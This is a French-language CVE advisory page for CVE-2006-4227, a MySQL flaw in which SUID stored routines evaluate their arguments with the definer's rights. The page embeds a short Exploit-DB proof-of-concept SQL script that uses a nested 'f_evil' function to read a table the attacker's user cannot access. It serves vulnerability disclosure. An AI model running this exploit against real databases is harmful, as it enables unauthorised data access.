CVE-2006-4227 : Détail

CVE-2006-4227

A03-Injection
3.12%V3
Network
2006-08-18
17h55 +00:00
2017-10-09
22h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

MySQL before 5.0.25 and 5.1 before 5.1.12 evaluates arguments of suid routines in the security context of the routine's definer instead of the routine's caller, which allows remote authenticated users to gain privileges through a routine that has been made available using GRANT EXECUTE.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 28398

Date de publication : 2006-08-16 22h00 +00:00
Auteur : Michal Prokopiuk
EDB Vérifié : Yes

source: https://www.securityfocus.com/bid/19559/info MySQL is prone to these vulnerabilities: - A privilege-elevation vulnerability. A user with privileges to execute SUID routines may gain elevated privileges by executing certain commands and code with higher privileges. - A security-bypass vulnerability. A user can bypass restrictions and create new databases. MySQL 5.0.24 and prior versions are affected by these issues. --disable_warnings drop database if exists mysqltest1; drop database if exists mysqltest2; drop function if exists f_suid; --enable_warnings # Prepare playground create database mysqltest1; create database mysqltest2; create user malory@localhost; grant all privileges on mysqltest1.* to malory@localhost; # Create harmless (but SUID!) function create function f_suid(i int) returns int return 0; grant execute on function test.f_suid to malory@localhost; use mysqltest2; # Create table in which malory@localhost will be interested but to which # he won't have any access create table t1 (i int); connect (malcon, localhost, malory,,mysqltest1); # Correct malory@localhost don't have access to mysqltest2.t1 --error ER_TABLEACCESS_DENIED_ERROR select * from mysqltest2.t1; # Create function which will allow to exploit security hole delimiter |; create function f_evil () returns int sql security invoker begin set @a:= current_user(); set @b:= (select count(*) from mysqltest2.t1); return 0; end| delimiter ;| # Again correct --error ER_TABLEACCESS_DENIED_ERROR select f_evil(); select @a, @b; # Oops!!! it seems that f_evil() is executed in the context of # f_suid() definer, so malory@locahost gets all info that he wants select test.f_suid(f_evil()); select @a, @b; connection default; drop user malory@localhost; drop database mysqltest1; drop database mysqltest2;

Products Mentioned

Configuraton 0

Mysql>>Mysql >> Version 5.0.1

Mysql>>Mysql >> Version 5.0.2

Mysql>>Mysql >> Version 5.0.3

Mysql>>Mysql >> Version 5.0.4

Mysql>>Mysql >> Version 5.0.20

Mysql>>Mysql >> Version 5.0.22.1.0.1

    Mysql>>Mysql >> Version 5.0.24

    Mysql>>Mysql >> Version 5.1.5

    Oracle>>Mysql >> Version 5.0.0

    Oracle>>Mysql >> Version 5.1.6

    Oracle>>Mysql >> Version 5.1.9

    Oracle>>Mysql >> Version 5.1.10

    Références

    http://www.vupen.com/english/advisories/2006/3306
    Tags : vdb-entry, x_refsource_VUPEN
    http://www.ubuntu.com/usn/usn-338-1
    Tags : vendor-advisory, x_refsource_UBUNTU
    http://secunia.com/advisories/21506
    Tags : third-party-advisory, x_refsource_SECUNIA
    http://www.securityfocus.com/bid/19559
    Tags : vdb-entry, x_refsource_BID
    http://secunia.com/advisories/22080
    Tags : third-party-advisory, x_refsource_SECUNIA
    http://secunia.com/advisories/21770
    Tags : third-party-advisory, x_refsource_SECUNIA
    http://secunia.com/advisories/30351
    Tags : third-party-advisory, x_refsource_SECUNIA
    http://securitytracker.com/id?1016709
    Tags : vdb-entry, x_refsource_SECTRACK
    http://www.redhat.com/support/errata/RHSA-2007-0083.html
    Tags : vendor-advisory, x_refsource_REDHAT
    http://www.redhat.com/support/errata/RHSA-2008-0364.html
    Tags : vendor-advisory, x_refsource_REDHAT
    http://bugs.mysql.com/bug.php?id=18630
    Tags : x_refsource_CONFIRM
    http://lists.mysql.com/commits/7918
    Tags : mailing-list, x_refsource_MLIST